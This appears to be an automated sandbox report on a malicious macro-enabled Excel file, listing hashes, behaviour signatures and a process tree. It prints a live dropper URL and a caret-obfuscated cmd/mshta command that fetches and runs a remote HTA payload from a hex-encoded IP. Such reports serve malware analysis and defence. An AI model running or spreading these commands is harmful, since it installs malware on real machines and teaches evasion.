Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10-20220223-en
  • submitted
    03-03-2022 17:27

General

  • Target

    4170fd2e1e20be004dc4fb1490bd16ce9bd092ec9d1048e6ac0a63d10c7ba255.xlsm

  • Size

    49KB

  • MD5

    40a87ae0ee6c9d8647c8ad1b680e0e87

  • SHA1

    12e762de276e8ce77a27fc56d135833a29f161d5

  • SHA256

    4170fd2e1e20be004dc4fb1490bd16ce9bd092ec9d1048e6ac0a63d10c7ba255

  • SHA512

    7b16347ae4ce7b7ec7bef05b00d1ca00534720c19a29165ca92f5fb704408350ff58c2e2f8c5e7d3538c509cdff518a7cb880776cfdf5f9c61b05c646cb40dce

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://185.7.214.7/fer/fe1.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4170fd2e1e20be004dc4fb1490bd16ce9bd092ec9d1048e6ac0a63d10c7ba255.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2440
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe1.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3224
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/fer/fe1.html
        3⤵
        • Blocklisted process makes network request
        PID:4000

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/2440-114-0x00007FFC57330000-0x00007FFC57340000-memory.dmp

    Filesize

    64KB

  • memory/2440-115-0x00007FFC57330000-0x00007FFC57340000-memory.dmp

    Filesize

    64KB

  • memory/2440-116-0x00007FFC57330000-0x00007FFC57340000-memory.dmp

    Filesize

    64KB

  • memory/2440-117-0x00007FFC57330000-0x00007FFC57340000-memory.dmp

    Filesize

    64KB

  • memory/2440-127-0x00007FFC96F3B000-0x00007FFC96F3C000-memory.dmp

    Filesize

    4KB

  • memory/2440-126-0x00007FFC97345000-0x00007FFC97346000-memory.dmp

    Filesize

    4KB

  • memory/2440-298-0x00007FFC57330000-0x00007FFC57340000-memory.dmp

    Filesize

    64KB

  • memory/2440-299-0x00007FFC57330000-0x00007FFC57340000-memory.dmp

    Filesize

    64KB

  • memory/2440-300-0x00007FFC57330000-0x00007FFC57340000-memory.dmp

    Filesize

    64KB

  • memory/2440-301-0x00007FFC57330000-0x00007FFC57340000-memory.dmp

    Filesize

    64KB